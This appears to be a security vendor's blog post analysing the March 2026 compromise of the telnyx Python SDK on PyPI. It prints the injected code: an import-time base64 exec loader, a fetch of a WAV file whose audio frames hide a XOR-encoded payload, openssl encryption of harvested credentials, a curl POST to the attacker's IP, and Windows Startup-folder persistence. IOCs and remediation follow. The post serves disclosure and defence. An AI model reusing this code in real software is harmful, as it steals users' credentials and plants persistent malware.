Back to Blog

TeamPCP Plants WAV Steganography Credential Stealer in telnyx PyPI Package

On March 27, 2026, TeamPCP injected a WAV steganography-based credential stealer into two releases of the telnyx Python SDK on PyPI. The issue was disclosed in team-telnyx/telnyx-python#235. TeamPCP is the same group behind the litellm supply chain compromise three days earlier, identified by a shared RSA-4096 public key, identical encryption scheme, and the tpcp.tar.gz exfiltration signature present in both attacks.
Sai Likhith
View LinkedIn

March 27, 2026

Share on X
Share on X
Share on LinkedIn
Share on Facebook
Follow our RSS feed
Table of Contents

On March 27, 2026, TeamPCP injected a WAV steganography-based credential stealer into two releases of the telnyx Python SDK on PyPI. The issue was disclosed in team-telnyx/telnyx-python#235. TeamPCP is the same group behind the litellm supply chain compromise three days earlier, identified by a shared RSA-4096 public key, identical encryption scheme, and the tpcp.tar.gz exfiltration signature present in both attacks.

The telnyx package had been downloaded 742,000 times in the 30 days before the compromise — a widely-used SDK with an established install base across telephony applications, call automation pipelines, and communications infrastructure. Every environment running a routine pip install --upgrade telnyx on March 27 would have silently pulled one of the malicious releases with no warning, no visible error, and no indication that anything had changed.

If you installed telnyx 4.87.1 or 4.87.2: Rotate all secrets immediately — every environment variable, SSH key, cloud credential, and API key present on that system. See the Remediation section below.

We independently performed static analysis on both versions, fully decoding all payloads. The attack injects 74 lines of malicious code into a single file, telnyx/_client.py, which executes immediately on import telnyx. TeamPCP uses a novel delivery mechanism not seen in the litellm attack: the credential-stealing payload is hidden inside a WAV audio file using steganography, fetched from attacker infrastructure at runtime, and decoded using a base64 + XOR scheme before execution. The malware bifurcates by platform — on Linux and macOS it runs a credential harvester that encrypts stolen data with AES-256-CBC and RSA-4096 before exfiltrating it; on Windows it drops a persistent binary disguised as msbuild.exe into the Startup folder for persistence across reboots.

Background: What Is telnyx?

Telnyx is a cloud communications platform providing programmable voice, SMS, fax, and phone number management. The telnyx Python SDK is the official client library for the Telnyx API. It is used in telephony applications, call automation pipelines, and any Python service that integrates with Telnyx for communications. The last known clean release was 4.87.0, published to GitHub on March 26, 2026.

The Injection: A Single Compromised File

Unlike the litellm compromise which used a .pth file or injected into the proxy server module, the telnyx attack modifies only one file: src/telnyx/_client.py, the top-level client module that is imported whenever any application uses the SDK.

The malicious additions are spread across four locations in the file:

1. Malicious Imports (Lines 4–10)

Seven new standard-library imports are injected at the top of the file, immediately after the module docstring:

# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.

from __future__ import annotations
import subprocess   # <-- injected
import tempfile     # <-- injected
import time         # <-- injected
import os           # <-- injected
import base64       # <-- injected
import sys          # <-- injected
import wave         # <-- injected
import os           # <-- injected (duplicate, obscuring the addition)
from typing import TYPE_CHECKING, Any, Mapping
import urllib.request  # <-- injected

The os import appears twice, which is a minor obfuscation: the duplicate is not flagged as an error by Python, and a casual reviewer scanning for “new imports” may not notice the additions are spread across the standard block.

2. Base64 Decoder Helper (Lines 41–42)

A short helper function is injected after the internal client imports:

def _d(s):
    return base64.b64decode(s).decode('utf-8')

This is used throughout the Windows attack function to decode string literals at runtime, preventing the malicious URLs, paths, and environment variable names from appearing as plaintext in the source code.

3. Base64 Payload Variable (Line 459)

A 4,436-character base64-encoded string is assigned to _p, inserted just before the __all__ declaration and the main Telnyx class definition:

__all__ = ["Timeout", "Transport", "ProxiesTypes", "RequestOptions", "Telnyx", "AsyncTelnyx", "Client", "AsyncClient"]

_p = "aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxlCmltcG9ydCBvcwppbXBvcnQg..."

This blob decodes to the full Linux/macOS credential harvester script. Placing it before the class definition ensures it is accessible at module scope when the attack functions later reference it.

4. Attack Functions and Trigger (Lines 7761–7825)

At the very end of the file, after all legitimate class definitions, four additions appear:

  • setup() — Windows attack function (lines 7761–7804)
  •  
  • FetchAudio() — Linux/macOS attack function (lines 7806–7817)
  •  
  • Module-level call: Setup() in 4.87.1, setup() in 4.87.2
  •  
  • Module-level call: FetchAudio()

Both are invoked at module scope — meaning they run the moment any application does import telnyx.

The 4.87.1 → 4.87.2 Fix: Activating the Windows Attack

The only code difference between the two compromised versions is a single character in the module-level trigger:

- Setup()   # 4.87.1 — Python NameError: name 'Setup' is not defined
+ setup()   # 4.87.2 — correct, calls the Windows attack function

Python identifiers are case-sensitive. In 4.87.1, setup() (lowercase) is defined but Setup() (uppercase) is called. This raises a NameError which is swallowed silently by Python’s exception handling in the surrounding context, so no error is visible to the user — but the Windows attack simply never runs.

FetchAudio(), which handles Linux and macOS, uses the correct case in both versions and was functional from the first compromised release.

Attacker iteration cadence: The two-version pattern reflects real-time operational testing. The attacker published 4.87.1, observed that Windows machines were not phoning home (or tested it directly and found the bug), then published 4.87.2 within the same day to fix the capitalization. This kind of rapid iteration is consistent with the operational tempo seen in the litellm campaign, where two versions with different injection techniques were published within hours of each other.

Platform-Specific Attack Paths

Linux / macOS: WAV-Delivered Credential Harvester

On non-Windows systems, FetchAudio() runs. It spawns a detached subprocess with start_new_session=True, which decouples the harvester entirely from the parent Python process — the application continues normally and returns immediately:

def FetchAudio():
    if os.name == 'nt':
        return
    try:
        subprocess.Popen(
            [sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"],
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            start_new_session=True
        )
    except:
        pass

The subprocess decodes _p and executes it. The decoded payload is the audioimport() function, which implements a WAV-based steganographic delivery system:

Step 1 — Fetch the WAV file. A request is sent to http://83.142.209.203:8080/ringtone.wav with a Mozilla/5.0 User-Agent to blend in with browser traffic:

WAV_URL = "http://83.142.209.203:8080/ringtone.wav"
req = urllib.request.Request(WAV_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=15) as r:
    with open(wf, "wb") as f:
        f.write(r.read())

Step 2 — Extract and decode the hidden payload. The file is opened as a WAV audio container using Python’s wave module. The audio frames are read and base64-decoded. The first 8 bytes are an XOR key; the remainder is the ciphertext:

with wave.open(wf, 'rb') as w:
    raw = base64.b64decode(w.readframes(w.getnframes()))
    s, data = raw[:8], raw[8:]
    payload = bytes([data[i] ^ s[i % len(s)] for i in range(len(data))])

The result is a second-stage Python credential harvester script, hidden inside what appears to be a valid audio file. This technique evades content inspection tools that look for embedded scripts but do not parse WAV audio frame data.

Step 3 — Execute the credential harvester. The decoded payload is piped directly to a new Python interpreter as stdin:

subprocess.run(
    [sys.executable, "-"],
    input=payload,
    stdout=f,
    stderr=subprocess.DEVNULL,
    check=True
)

This runs the harvester in a fresh Python process without writing the script to disk — avoiding filesystem-based detection. The harvester’s output (collected credentials) is written to a temp file for encryption.

Step 4 — Encrypt and exfiltrate. The collected data is encrypted with a random 32-byte AES session key, the session key is RSA-wrapped with the attacker’s 4096-bit public key, and both are packed into tpcp.tar.gz and POSTed to the C2:

subprocess.run(["openssl", "rand", "-out", sk, "32"], check=True)
subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef,
                "-pass", f"file:{sk}", "-pbkdf2"], check=True, stderr=subprocess.DEVNULL)
subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk,
                "-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"],
               check=True, stderr=subprocess.DEVNULL)
subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"], check=True)

subprocess.run([
    "curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST",
    "http://83.142.209.203:8080/",
    "-H", "Content-Type: application/octet-stream",
    "-H", "X-Filename: tpcp.tar.gz",
    "--data-binary", f"@{bn}"
], check=True, stderr=subprocess.DEVNULL)

The X-Filename: tpcp.tar.gz header is a TeamPCP signature seen across multiple compromises. The temp directory is automatically cleaned up by Python’s TemporaryDirectory context manager, leaving no artifacts on disk after exfiltration completes.

Windows: Persistent Binary via Startup Folder

On Windows systems (os.name == 'nt'), setup() (functional in 4.87.2, broken in 4.87.1) runs instead. All sensitive string literals are base64-obfuscated using the _d() helper. Decoded values:

  • _d('QVBQREFUQQ==')APPDATA
  •  
  • _d('TWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVw')Microsoft\Windows\Start Menu\Programs\Startup
  •  
  • _d('bXNidWlsZC5leGU=')msbuild.exe
  •  
  • _d('LmxvY2s=').lock
  •  
  • _d('LnRtcA==').tmp
  •  
  • _d('aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg==')http://83.142.209.203:8080/hangup.wav
  •  
  • _d('VXNlci1BZ2VudA==')User-Agent
  •  
  • _d('TW96aWxsYS81LjA=')Mozilla/5.0

The drop path is constructed as:

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe

The Startup folder is a built-in Windows persistence mechanism — every executable placed there runs automatically when the user logs in. Using msbuild.exe as the filename is a classic LOLBin impersonation: Microsoft Build Engine is a trusted system binary, and an unfamiliar user or analyst scanning the Startup folder may dismiss it as legitimate.

Lock file anti-duplication: Before dropping the binary, the attacker checks for the presence of msbuild.exe.lock. If the lock file is less than 12 hours old, the function exits without doing anything. This prevents redundant installs if the SDK is imported multiple times, and avoids re-downloading on the same machine within a 12-hour window:

if os.path.exists(l):
    m_time = os.path.getmtime(l)
    if (time.time() - m_time) < 43200:   # 12 hours
        return

The lock file is then hidden using attrib +h to prevent casual discovery.

WAV delivery and XOR decode: The binary is not downloaded directly. Instead, hangup.wav is fetched from http://83.142.209.203:8080/hangup.wav using the same WAV steganography approach: audio frames are read, base64-decoded, the first 8 bytes are used as an XOR key, and the XOR-decoded remainder is the actual Windows PE binary. This is written directly to msbuild.exe and executed silently with creationflags=0x08000000 (CREATE_NO_WINDOW).

Two WAV files, two targets: The C2 server serves ringtone.wav for Linux/macOS (contains the Python credential harvester) and hangup.wav for Windows (contains a native PE binary). The naming is deliberate — both are plausible audio filenames that would not appear suspicious in network logs inspected casually.

The RSA-4096 Public Key: Fingerprinting TeamPCP

Every credential harvest is encrypted with the same attacker-controlled RSA-4096 public key, embedded directly in the _p payload. This key is the strongest attribution signal in this investigation:

-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+
08qNLwm3kxzFSMj84M16lmIEeQA8u1X8DGK0EmNg7m3J6C3KzFeIzvz0UTgSq6cV
pQWpiuQa+UjTkWmC8RDDXO8G/opLGQnuQVvgsZWuT31j/Qop6rtocYsayGzCFrMV
...
-----END PUBLIC KEY-----

This is byte-for-byte identical to the RSA public key embedded in the litellm 1.82.7/1.82.8 supply chain compromise, published to PyPI on March 24, 2026. The same key means the same attacker can decrypt both sets of stolen credentials.

Attribution: TeamPCP

Attribution to TeamPCP is high-confidence, based on three independent signals all present in the decoded payloads:

     
  1. Identical RSA-4096 public key. The public key embedded in _p is byte-for-byte the same key used in litellm 1.82.7/1.82.8. Only the holder of the corresponding private key can decrypt the stolen credentials, and reuse of the same key across campaigns is a strong fingerprint.
  2.  
  3. tpcp.tar.gz signature. The exfiltrated archive is named tpcp.tar.gz and the HTTP POST includes the header X-Filename: tpcp.tar.gz — an artifact seen consistently across every TeamPCP campaign, including both litellm versions and the earlier Trivy compromise.
  4.  
  5. Identical hybrid encryption scheme. The exact same openssl rand → openssl enc -aes-256-cbc -pbkdf2 → openssl pkeyutl -pkeyopt rsa_padding_mode:oaep sequence, using the same key and the same command-line arguments, appears in both litellm and telnyx payloads.

Controlled Execution Analysis

To validate our static analysis findings, we ran both compromised versions in a controlled GitHub Actions environment with Harden Runner enabled in audit mode — one Ubuntu job and one Windows job. The run confirms the malware fires immediately on import telnyx on both platforms, and reveals the state of the C2 server at the time of execution.

What Harden Runner Captured

On both the Ubuntu and Windows jobs, the connection to 83.142.209.203:8080 appears in exactly one step: “Create sample telnyx client” — the step that runs import telnyx. It does not appear during package installation. This confirms the payload is not triggered by pip or any install hook; it fires the moment the module is imported in application code.

Ubuntu (install-telnyx-ubuntu): python3 (PID 2570) connects to 83.142.209.203:8080 in the “Create sample telnyx client” step. This is the detached subprocess spawned by FetchAudio() attempting to fetch ringtone.wav.

Harden Runner network events for the Ubuntu job — showing the python3 PID 2570 outbound connection to 83.142.209.203:8080

Windows (install-telnyx-windows):python.exe (PID 4280) connects to 83.142.209.203:8080 in the same step. This is setup() attempting to fetch hangup.wav to drop msbuild.exe into the Startup folder.

Harden Runner network events for the Windows job — showing python.exe PID 4280 outbound connection to 83.142.209.203:8080

C2 Server Was Not Serving Payloads

No file write events were recorded in either job, and no second connection to 83.142.209.203:8080 was observed — which would have appeared had the WAV download succeeded and credential exfiltration been attempted. The C2 server connected but did not return a valid WAV payload at the time of the run. This is consistent with a C2 that was taken offline or rate-limiting connections after the compromise was disclosed.

The implication is significant: on systems where this package was installed while the C2 was active, the WAV files would have been served, the credential harvester would have executed, and tpcp.tar.gz would have been POSTed back. The static analysis shows exactly what would have been collected.

Indicators of Compromise

     
  • Malicious package: telnyx==4.87.1 — Linux/macOS attack functional; Windows broken due to Setup() casing bug
  •  
  • Malicious package: telnyx==4.87.2 — Both Linux/macOS and Windows attacks fully functional
  •  
  • C2 IP address: 83.142.209.203 — payload delivery and credential exfiltration endpoint
  •  
  • C2 URL (Linux/macOS): http://83.142.209.203:8080/ringtone.wav — credential harvester delivery via WAV steganography
  •  
  • C2 URL (Windows): http://83.142.209.203:8080/hangup.wav — PE binary delivery via WAV steganography
  •  
  • Exfiltration endpoint: http://83.142.209.203:8080/ — POST destination for tpcp.tar.gz
  •  
  • HTTP header: X-Filename: tpcp.tar.gz — TeamPCP campaign signature present in every exfiltration POST
  •  
  • Windows persistence: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe — malicious PE dropped for Startup persistence
  •  
  • Windows artifact: %APPDATA%\...\Startup\msbuild.exe.lock — hidden lock file; presence confirms attack executed on that machine
  •  
  • RSA public key prefix: MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8... — TeamPCP 4096-bit key, byte-for-byte identical to the key in the litellm compromise

SHA-256 Hashes

     
  • telnyx-4.87.1.tar.gzf66c1ea3b25ec95d0c6a07be92c761551e543a7b256f9c78a2ff781c77df7093
  •  
  • telnyx-4.87.2.tar.gza9235c0eb74a8e92e5a0150e055ee9dcdc6252a07785b6677a9ca831157833a5

Remediation

Immediate actions if telnyx 4.87.1 or 4.87.2 was installed on any system:

Check your installed version:

pip show telnyx

If the Version field shows 4.87.1 or 4.87.2, the system is compromised. Downgrade immediately:

pip install "telnyx==4.87.0"

Check for the Windows persistence binary (Windows only):

dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe"

If this file exists: delete it immediately and check for the corresponding msbuild.exe.lock file in the same directory. The binary was already executed; treat the machine as fully compromised.

Check for the lock file (confirms Windows attack ran):

dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe.lock"

Rotate all credentials accessible on any affected system: SSH private keys, AWS access keys and session tokens (including all IAM roles attached to the instance), Kubernetes service account tokens and kubeconfig certificates, GCP service account keys, Azure credentials, all .env file values, Docker registry tokens, npm and PyPI tokens, and any API keys in environment variables.

Audit outbound network logs for connections to 83.142.209.203 on port 8080. Any connection confirms either payload delivery or credential exfiltration (or both) occurred.

How StepSecurity Helps

Harden-Runner monitors every outbound network connection made during a GitHub Actions workflow. Organizations running Harden-Runner with allowed-endpoint policies would have had the connection to 83.142.209.203:8080 blocked before any WAV file was fetched and before credentials were exfiltrated, with an alert surfaced immediately.

Threat Center

StepSecurity Enterprise customers can visit the Threat Center for the full alert on this incident, including the complete IOC set, affected version details, and remediation steps.

Threat Center delivers real-time alerts about compromised packages, hijacked maintainers, and emerging attack campaigns directly into existing SIEM workflows. Alerts include attack summaries, technical analysis, IOCs, affected versions, and remediation steps.

StepSecurity Threat Center alert for telnyx 4.87.1/4.87.2

Blog

Explore Related Posts